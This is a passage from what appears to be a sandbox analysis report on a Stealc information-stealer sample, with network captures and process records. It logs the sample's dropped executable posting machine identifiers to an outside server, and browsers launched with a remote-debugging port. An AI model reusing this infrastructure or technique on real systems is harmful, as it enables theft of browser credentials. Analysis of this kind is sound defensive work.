2024-11-29 18:50:22 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:23 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:22 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 158e63da-501e-00a3-39eb-41c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185022Z-174f7845968frfdmhC1EWRxxbw000000108g00000000n81v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:23 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:22 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:23 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:23 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: d22786c7-a01e-0053-69f7-418603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185023Z-174f7845968px8v7hC1EWR08ng00000010k000000000c6m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:23 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:23 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:23 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:23 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 11ea4f02-701e-0050-563c-416767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185023Z-174f7845968vqt9xhC1EWRgten00000010cg00000000844g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:23 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:23 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:23 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:23 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: d9e8d238-201e-0000-77ec-41a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185023Z-174f78459685m244hC1EWRgp2c000000103g00000000euph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:23 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:24 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:24 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:24 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: b931fb3f-301e-000c-1a91-3f323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185024Z-174f7845968kdththC1EWRzvxn0000000cng00000000e3c6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:24 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:24 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:25 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:25 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 128d6adc-c01e-00a2-2191-3f2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185025Z-174f7845968nxc96hC1EWRspw8000000104g000000004gk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:25 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:25 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:25 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:25 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: f4f10734-001e-0028-77de-41c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185025Z-174f7845968l4kp6hC1EWRe88400000010ng000000004s8k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:25 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49888	104.21.16.9	443	8184	C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:25 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EVDSB8M1FSJJQT8Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12829 Host: atten-supporse.biz
2024-11-29 18:50:25 UTC	12829	OUT	Data Raw: 2d 2d 45 56 44 53 42 38 4d 31 46 53 4a 4a 51 54 38 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 31 38 45 36 39 39 43 31 46 42 38 44 32 32 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 45 56 44 53 42 38 4d 31 46 53 4a 4a 51 54 38 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 56 44 53 42 38 4d 31 46 53 4a 4a 51 54 38 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --EVDSB8M1FSJJQT8ZContent-Disposition: form-data; name="hwid"1818E699C1FB8D22EFA3D63B69E7CA14--EVDSB8M1FSJJQT8ZContent-Disposition: form-data; name="pid"2--EVDSB8M1FSJJQT8ZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-29 18:50:25 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r201rb4mi93vk0p0vdtjs1cqmn; expires=Tue, 25-Mar-2025 12:37:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=blrYr9qNGi%2FOehdbYQgkoLoW940b%2BjIzYVt0CnjbbE1jimGLdter6JQqa%2B8etMDCEfEihw5vq6skWDm9HLOr7i7axIRyw76edS%2F4j2DoN2RjeWvjzBndc8tuaesRVs3DOuL0bYI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4c8837f8819bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1853&min_rtt=1850&rtt_var=700&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13769&delivery_rate=1554845&cwnd=213&unsent_bytes=0&cid=acab50dbf1d2ae8c&ts=960&x=0"
2024-11-29 18:50:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 18:50:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:25 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:25 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:25 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: f0892ff2-301e-0052-2e91-3f65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185025Z-174f7845968zgtf6hC1EWRqd8s0000000t5g00000000nn2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:25 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Target ID:	0
Start time:	13:49:02
Start date:	29/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xad0000
File size:	1'789'952 bytes
MD5 hash:	1038F723C2FCA19F38FABBED2E099DBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2642547892.000000000082E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2079497513.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2643149920.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:49:14
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:49:15
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2200,i,9663967089356670699,6161986884311762459,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:49:24
Start date:	29/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:49:24
Start date:	29/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2280,i,12129099587254374971,13455169532411642605,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:49:25
Start date:	29/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:49:25
Start date:	29/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2120,i,3944860709860646515,864746559812166829,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:49:58
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBFHJEGDAF.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:49:58
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:49:58
Start date:	29/11/2024
Path:	C:\Users\user\Documents\EBFHJEGDAF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\EBFHJEGDAF.exe"
Imagebase:	0x9e0000
File size:	1'884'160 bytes
